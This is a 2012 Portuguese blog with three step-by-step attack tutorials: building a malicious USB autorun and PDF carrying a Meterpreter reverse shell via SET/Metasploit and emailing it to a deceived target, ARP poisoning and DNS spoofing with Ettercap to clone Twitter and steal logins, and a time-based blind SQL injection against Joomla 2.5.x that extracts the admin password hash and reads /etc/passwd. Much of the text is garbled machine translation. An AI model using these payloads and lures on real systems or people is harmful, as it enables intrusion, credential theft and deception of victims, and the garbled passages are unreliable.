quarta-feira, 4 de abril de 2012

Engenharia Social utilizando o SET



Engenharia Social utilizando o SET





1- Introdução
Descrição do conceito de Engenharia Social

Em Segurança da informação, chamamos de  Engenharia Social as práticas utilizadas para obter acesso a informações importantes ou sigilosas em organizações ou sistemas por meio da enganação ou exploração da confiança das pessoas. Para isso, o engenheiro social pode se passar por outra pessoa, assumir outra personalidade, fingir que é um profissional de determinada área, etc. É uma forma de entrar em organizações sem utilizar a força bruta ou de erros em máquinas. Explorar as falhas de segurança das próprias pessoas que, quando não treinadas para esses ataques, podem ser facilmente manipuladas. 
O que é a FERRAMENTA SET(Social Engineering Toolkit)

O SET é um avançado conjunto de ferramentas desenvolvidas para usar em rede sociais assistida por computador. Esta ferramenta ajuda a preparar o caminho mais eficaz para explorar o lado do cliente através de vulnerabilidades de aplicativos e fazer capturas de informações confidenciais do alvo (por exemplo, senhas de e-mail). Alguns dos os métodos de ataque mais eficiente e útil empregado pela SET incluem, alvo phishing e-mails com um arquivo anexo malicioso, ataques applet Java, baseados em navegador, exploração reunindo credenciais de website, criação de mídia infecciosas e portátil (USB /DVD / CD), ataques de e-mail em massa e outros semelhantes vetores múltiplos de ataque web. Esta combinação de métodos de ataque fornece uma plataforma poderosa para utilizar e selecionar a técnica mais persuasiva que poderia realizar um ataque contra os humanos.
A seguir faremos um passo-a-passo da ferramenta SET, mostrando como criar um arquivo PDF malicioso e um executável dentro de um pendrive visando obter informações de uma maquina.
Para iniciar SET pela parte gráfica ir para Backtrack | Penetração | Toolkit Engenharia Social ou use o console para executar os seguintes comandos como usuário root:
Isto irá executar SET e exibir as opções disponíveis para começar. É recomendável que atualizemos o SET para a última versão disponível, a fim de aproveitar ao máximo todos os recursos. Existem duas maneiras de atualizar o SET. Ao executar o programa, você será apresentado com um menu de seleção .
Selecionar no menu a opção 4 para realizar a atualização do SET:


Select from the menu on what you would like to do:
1. Automatic E-Mail Attacks (UPDATED)
2. Website Java Applet Attack (UPDATED)
3. Update Metasploit
4. Update SET
5. Create a Payload and Listener
6. Help
7. Exit the Toolkit
Enter your choice: 4

Você recebera as mensagens abaixo:

Updating the Social-Engineer Toolkit, be patient...
Restored 'src/html/index.html'
D update_set
U config/set_config
A src/exe
A src/exe/legit.binary
A src/multi_attack
A src/multi_attack/multiattack.py....
A templates/ebook.template
U templates/README
Updated to revision 344.
The updating has finished, returning to main menu..

Você também pode atualizar o programa executando o seguinte comando

# ./set-update
[*] Updating the Social-Engineer Toolkit please wait...
At revision 344.

Após a atualização, é preciso sair do programa e reiniciá-lo conforme a figura abaixo. Isso irá garantir que todas as alterações da atualização tenham efeito imediato.

# cd /pentest/exploits
#. /set

2-Passo-a passo
Exemplos de ataques com a ferramenta SET.

O tutorial irá demonstrar dois exemplos diferentes, onde o elemento humano será explorado para obtermos as informações que necessitamos. O primeiro exemplo ilustra um ataque utilizando  um pendrive que contem um arquivo malicioso, onde o mesmo é executado no momento que o usuário utiliza o pendrive em sua máquina .
O segundo exemplo exibe um método de obter o controle de uma máquina utilizando um arquivo com extensão pdf enviado por e-mail, utilizando técnicas de engenharia social.

Ataque a uma vitima utilizando um pen drive USB

            Vamos partir do pressuposto que você já tenha instalado o BACKTRACK versão 4 ou superior (você pode baixá-lo do endereço http://www.backtrack-linux.org/downloads/)

1)Abra um terminal console e digite as linhas abaixo:

# cd/pentest/exploits/SET
#./set

Segue tela que surgirá:


2) Escolha a opção 3 - Infectious Media Generator

3) A seguir devemos escolher o vetor. Selecione a opção 2 = Standard Metasploit Executable




4) Neste momento faremos o payload (resultado) que será utilizado. O mais utilizado é o Meterpreter Reverse TCP. Aqui estamos configurando para que nosso arquivo malicioso inicie uma conexão da maquina alvo para a maquina do atacante.  Segue tela de escolha:


5) O próximo passo é codificar o payload para dificultar a detecção do mesmo na maquina do alvo pelo anti-virus.




6) A seguir devemos escolher a porta pela qual faremos a conexão reversa. Devemos escolher uma porta que acreditamos não esta bloqueada no firewall da maquina alvo.  Aqui escolhemos a 443.


7) Após a tela acima será perguntado se deseja deixar o listerner ativado. Responda “yes”. Isto é necessário pois quando alvo for atacado, sua maquina devera esta preparada (ouvindo) para receber as informações.

8) No passo 5 foram criados 2 arquivos para o ataque via pendrive. Os arquivos estão no diretorio abaixo:
/pentest/exploits/set/autorun
No interior do mesmo teremos 2 arquivos com os seguintes nomes:

autorun.inf e template.pdf

Estes 2 arquivos devem ser inseridos no interior do pen drive. Caso você deseje renomear o arquivo Template.pdf para um outro nome diferente, será necessário editar o arquivo autorun.inf conforme abaixo:

[autorun]
open=novo_nome.pdf
icon=autorun.ico
Abaixo segue tela que informa que os arquivos foram criados.
9)Quando o pendrive for inserido na maquina alvo e o listerner de sua maquina estiver ativado, você receberá o shell da maquina conforme a tela abaixo:



Ataque a uma vitima utilizando um arquivo com extensão PDF malicioso

1) Abra um terminal console e digite as linhas abaixo:

# cd/pentest/exploits/SET
#. /set

Segue tela que surgirá:



2) Escolha a opção 4 – create a payload and listener
3) No menu abaixo selecione a opção 1




4) Esta opção permitirá que exploremos selecionemos o nosso exploit: Adobe PDF Escape Exe Social Engineering No Javascript opção 15.







5) Neste passo devemos setar as configurações do nosso exploit. Lembre-se que o nome do arquivo deve ter um nome que desperte o interesse do nosso alvo.




Segue significado de cada configuração:

Use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs
Usar adobe pdf embutido em um exploit

set payload windows/meterpreter/reverse_tcp
Utilizar a conexão reversa quando o exploit for executado

set filename nome_arquivo.pdf
Configurar o nome do arquivo pdf. Use a imaginação e torne o nome do arquivo o mais atraente possível para o alvo.

set lhost 192.168.8.92
Configurar o ip da maquina que receberá a conexão reversa. Aqui deve ser o ip do atacante.

set lport 443
Configurar uma porta que você utilizará no listener.Sempre utilize uma porta que tenha chance de esta liberarada no firewal.

exploit
Gera o arquivo PDF malicioso
                      
Após feita as configurações seu expoit será gerado e armazenado no diretório abaixo:

/root/.msf4/data/exploits/nome_arquivo.pdf

6) O próximo passo é enviarmos este arquivo ao nosso alvo. No nosso exemplo utilizaremos o e-mail como o vetor para o ataque. É importante que tenhamos já feito uma pesquisa anterior, buscando levantar informações sobre o nosso alvo. Isto nos ajudará a aumentar as chances de nosso ataque ter sucesso. A ideia é enviar um e-mail que contenha um assunto que seja de interesse do nosso alvo(sexo,filmes,hobbys,esporte etc).No caso enviaremos um e-mail nos passando por uma amigo do nosso alvo. Veja como ficaria nosso e-mail.




7) Acreditando se tratar de uma mensagem de um amigo e desconsiderando as mensagens emitidas pelo o anti-virus de sua máquina, quando ele abrir o anexo em pdf do e-mail teremos do lado da maquina do atacante a seguinte tela.




3-Bibliografia:

http://vishnuvalentino.com/computer/hacking-windows-using-usb-stick-social-engineering-toolkit/

http://vishnuvalentino.com/computer/client-side-attack-using-adobe-pdf-escape-exe-social-engineering/

http://www.backtrack-linux.org

http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_(SET)

quarta-feira, 21 de março de 2012

Usando Ettercap

Usando Ettercap (Parte I de III)


Hoje vamos falar do ettercap, muito poderoso e extremamente eficaz.
Para fazer os testes vamos usar duas máquinas virtuais, uma com Backtrack e um com Windows XP. Máquina do atacante e da vítima.
Para começar, vamos encontrar e editar o arquivo  etter.dns . Neste exemplo, editar o arquivo de pedidos de DNS para twitter.com de volta o nosso ip e não o twitter servidor real.
O próximo passo é realizar diretamente a MITM ataque incluindo Plugin dns_spoof. O Tq-simplesmente indica como visualizar os dados na tela-i para especificar a interface de usar,-M arp para envenenar tabelas ARP e, finalmente, / / ​​/ / indicar que as equipes querem tabelas modificarles arp. Se atacar apenas a um computador ou um intervalo entre os dois primeiros / / poderia escrever o intervalo IP ou específica eo mesmo para o caso do router mas os segunas / /. Se o ataque significa transportado através da rede é suficiente para o fazer, como mostrado na imagem.
Para verificar se você ter envenenado as tabelas ARP corretamente, vamos para a nossa máquina da vítima no prompt de comando e digite "arp-a".
A primeira visita foi feita para as tabelas antes de executar ettercap e, portanto, a equipe atacante eo roteador tem MACs diferentes. Na segunda consulta o router ea máquina com Backtrack tem o mesmo endereço físico para que o envenenamento foi feito corretamente.
Na próxima semana vamos ver como usar o dns_spoof plugin de dar graças a respostas falsas de DNS, furtar dados ou ganhar o controle sobre a outra equipe.



Usando Ettercap (parte 2 de 3)



Muito bom! Hoje vamos explicar uma das muitas formas que podemos usar o plugin paródia dns. Especificamente, usar SET (Social Motor Toolkit), a clonagem do site do Twitter e roubar as credenciais.
Para começar, abra uma nova janela de terminal e executar SET.
"CD / pentest / exploits / Que"
". / Set"
Supondo que temos o aplicativo atualizado, escolha a segunda opção, ataques web.
Neste segundo menu, podemos escolher entre uma vasta gama de opções, pessoalmente eu costumo usar o método de ataque Multi-Web, uma vez que dá jogo tanto, mas desta vez a opção escolhida é 3, Ataque de credenciais.
Agora, basta entrar na web deve ser clonado, em nosso twitter caso. (Lembre-se de verificar a web e dns ip em etter.dns nosso arquivo, como vimos no primeiro artigo).
Uma vez introduzida, só vai esperar para qualquer computador na rede faz a solicitação twitter.com dns e nossa máquina irá responder com um IP falso ao invés do servidor legítimo.
Lembre-se que se o computador cliente tem em cache do dns efeito informações de consulta não irá surgir, então eu recomendo fazer os testes, Chache apagar dns "ipconfig / flushdns" e dados do navegador, apenas no caso.
Na mais recente edição do ettercap, tente a opção de aplicar filtros para modificar os pacotes. Alterando imagens, palavras, redirecionamentos, etc.
Dito isso, divirta-se!
Fonte:http://www.flu-project.com/

Exploit para Joomla passo a passo

TERÇA-FEIRA MARÇO 20, 2012

Exploit para Joomla passo a passo

Neste post vou tentar explicar como fazer um passo a passo para explorar Joomla 2.5.0-2.5.1 ou 1.7.0-1.7.5 , a maneira mais fácil possível e explicar os conceitos básicos de SQL injeções e qualquer um pouco mais avançada, uma vez que neste caso é baseado no tempo de ataque.

Para este exercício deve idealmente montéis uma versão Joomla 2.5.1 por padrão em seu sistema e você pode acessar localmente para ir pela prova.

Até o momento não há nenhum exploit para esta decisão de 29 de fevereiro , embora a vulnerabilidade é conhecida graças à nota de Colin Wong .

O que me deixou completamente KO, como uma vulnerabilidade é tão gordo e estúpido, foi escalado para o código. Fiquei espantado que não tenha sido descoberto antes, inferno, se assim for Acunetix, é detectado.

O primeiro passo é descobrir onde o erro comparando o código da versão vulnerável: 2.5.0 ou 2.5.1, a versão que resolve que: 2.5.2 . 

Ambos os arquivos são baixados e descompactados para ver as linhas que foram alteradas.Felizmente não há muito e é muito fácil ver as linhas que são afetados por injeção de SQL com um único comando " diff "(linha 8)


Go! Nas duas últimas linhas do diff é que a variável "$ atual" na nova versão é chamado usando $ db-> quote () e não diretamente. Suspeito ;).

O seguinte é tentar descobrir que quando esse código é executado para descobrir onde você tem que injetar código SQL e quão longe ele pode ir.

Toque rever o arquivo onde está essa linha:  j-2.5.1/plugins/system/redirect/redirect.php


Apenas a cabeça pode ver que é um componente central do Joomla que é acusado de redirecionamentos  e vendo o painel de administração, você ter uma idéia rápida do que a função faz este plugin.


Basicamente permite redirecionamentos quando você solicita uma página web que não existe.Gerenciando e evitando os erros que um visitante chega a uma página web mortos.

Agora, para ler o arquivo de código em detalhes e lentamente. , Pelo menos, o mais crítico:


Além do primeiro comentário (deve ver agora quem é o idiota). O código mostra que a instrução SQL vulnerável (linha 24) é chamado quando não há permanente redireccionar publicado e criado para o página (o se a linha 18). Isto é, se tal for solicitado URL: http://localhost/joomla/index.php/AAAAA e CMS administrador não tiver criado um redirecionamento para esta página mostrará um 404 padrão do Joomla.

O próximo passo que a aplicação (da linha 26 a 45) é adicionar o URL para o banco de dados para que o administrador pode ver quais as páginas que foram solicitadas e não, mas esta parte é indistinta, uma vez que a injeção foi gerado antes e é, portanto, irrelevante.

Então, como é explorada ? Bem, só tem que chamar uma página do tipo: união http://localhost/joomla/index.php/AAAAAA 'select ... eo código que você deseja inserir. Eu sei que parece impossível que um produto tão popular e com esta maturidade ainda tem um sql injection tão estúpido .

"O problema" para fazer uso de vulnerabilidade é o resultado da injeção não é mostrado na tela, ou erros ou resultados positivos / negativos e obter algo útil é um pouco mais complexa, uma vez que a sentença é usado internamente pelo vulneráveis a aplicação e não para gerar a página resultante.

Existe apenas uma alternativa é baseada no tempo injectáveis. Isto é, se a página de solicitação inexistente leva 1 segundo para responder normalmente causam leva 10 como resultado da injecção.

O exemplo mais simples de detectar esta vulnerabilidade é para chamar a página da seguinte forma: http://localhost/joomla/index.php/AAAAAA união "select sono (10) união select '1  e observa que leva 10 segundos para retornar página como a instrução SQL vulnerável estará esperando 10 segundos e impedindo a execução normal seria retornar a página normalmente em 1 a 2 segundos. 

A implementação do banco de dados e conclusão da frase que é obtido a partir da linha 24 com os parâmetros que foram passados, é como se segue:

select id FROM tabela WHERE old_url = 'http://localhost/joomla/index.php/AAAAAA união "select sono (15) união select '1 '

Agora somos obrigados a estudar as funções do MySQL e veja como usar esse comportamento para extrair dados. O mais importante:
  • banco de dados () : retorna o nome do banco de dados: selecione banco de dados ()
  • sleep () : realiza um período de tempo: sono select (10)
  • length () : retorna o comprimento de uma string: selecione comprimento (banco de dados ()) 
  • ascii () : retorna o valor ascii de uma string: selecione ASCII ("A")
  • substring () ou médio (): corta uma string: select meados (banco de dados (), 1,1)
  • LOAD_FILE () : retorna o conteúdo de um arquivo: LOAD_FILE select ("/ etc / hosts")
  • ord () : retorna o valor de código se multibyte ou ascii: select ord ("2")
  • if () : permite que os valores de retorno com base nos resultados de outras pesquisas:selecionar se (banco de dados () = "Olá", "sim" "não") , neste caso, "não", e chamado "joomla" e No "Olá"
Combinando essas funções, pode chegar ao objetivo final. Por exemplo, no meu banco de dados chamado "drupal"
  1. selecionar substring (banco de dados (), 1,1) retorna o primeiro caractere de "joomla", ou seja, o "j".
  2. select ascii (substring (banco de dados (), 1,1))  retorna o primeiro caractere do nome "joomla", "j" e depois convertido para seu ascii decimal: 106
  3. select ascii (substring (banco de dados (), 2,1))  retorna o segundo personagem de "joomla", "o" e depois convertido para seu ascii decimal: 111
  4. selecione if (banco de dados () = "joomla", "sim", "não")  verifica se o resultado do banco de dados () é "joomla" em caso de retornos corretos "sim", não deve ser assim voltei "não".
  5. selecionar se ( ascii (substring (banco de dados (), 2,1)) = 106, o sono (10), null)  verificar o caráter ascii decimal do primeiro banco de dados (), "106" é igual a 106, se isso, execute um sono de 10 segundos e se não, nada é retornado.
O melhor, vê-lo em operação diretamente no MySQL


Então, depois disso é só automatizar todo o processo do Exemplo 5 para percorrer as strings com substring () e comparar com a tabela ASCII, calculando quanto tempo leva para a web para responder, 10 segundos ou apenas 1 ou 2. Com essas solicitações vai ver o primeiro caractere de "banco de dados" (), selecione se ascii (substring (banco de dados (), 1,1)) = , o sono (10), null)selecionar se ascii (substring (banco de dados (), 1 , 1)) = do sono, (10), null) se seleccionar (ascii (substring (banco de dados (), 1,1)) = , o sono (10), null) ...






selecionar se ascii (banco de dados substring ((), 1,1)) = 105 sono, (10), null) 
selecionar se ascii (substring (banco de dados (), 1,1)) = 106 , o sono (10), null)     <- isso irá executar o sono, porque o ascii de "j" é de 106 e a condição for atendida. Uma vez detectada a demora de 10 segundos é passado para o próximo personagem, mudando a substring: selecione se (ascii (substring (banco de dados (), , 1)) = 1 sono (10), null) se seleccionar ascii (substring (banco de dados (), , 1)) = 2, o sono (10), null) selecionar se ascii (banco de dados substring ((), , 1)) = 3, o sono (10), null) ...









Um par de aninhamento de loops e de tempo de cálculo pode tornar o resultado de qualquer consulta sql. Por exemplo:  select table_name de INFORMATION_SCHEMA.TABLES ONDE table_schema = "joomla" e table_name como "_users%" dá o nome da tabela onde você armazena seus usuários:  selecione senha zzzz_users limite de 1 , o hash da senha usuário administrador.

Se o usuário se conecta ao banco de dados tem privilégios suficientes, você também pode executarLOAD_FILE () , o upload de um sistema de arquivos, que eu, por exemplo, o arquivo / etc / passwd

O exploit tem apenas para automatizar esse processo, talvez até desenvolveu uma ferramenta e pode ser configurado para essa finalidade. A operação, incluindo os pedidos têm esse fluxo:
  1. Você começa a data do sistema
  2. Solicitação HTTP GET é feito com o cheque, por exemplo: http://localhost/joomla/index.php/AAAAAA sindicato  selecionar se ascii (substring (banco de dados (), , 1)) = 1 sono (10) , null) união select '1
  3. Ele se vira para obter a data do sistema
  4. Se a diferença de tempo entre o ponto 1 e 3 é de 10 segundos, é que a condição do se-met, pelo que é conhecido valor ASCII adequada. 
Bem é isso, você só tem que otimizar e jogue sobre as linhas de código que fazem o trabalho sujo.

A optimização é encontrar o mais curto possível de tempo limite, a redução dos 10 segundos têm sido utilizados em todo o artigo para uma parte inferior que não gera falsos alarmes. Outra melhoria é fazer pedidos tantos web, evitando viagens ao redor da mesa para o caractere ASCII válido. Para certas decisões, como banco de dados (), basta verificar a partir de decimal 32 para 90.

O complexo, passado um pouco mais é ser consulta com ord () e E para encontrar os bits que compõem cada byte. Com apenas 8 pedidos verá o código ascii, mas se estima que metade dos pedidos irá resultar em um sleep () pode levar mais tempo para fazer até 60 pedidos que atravessam a própria tabela, que requer apenas um único sleep ().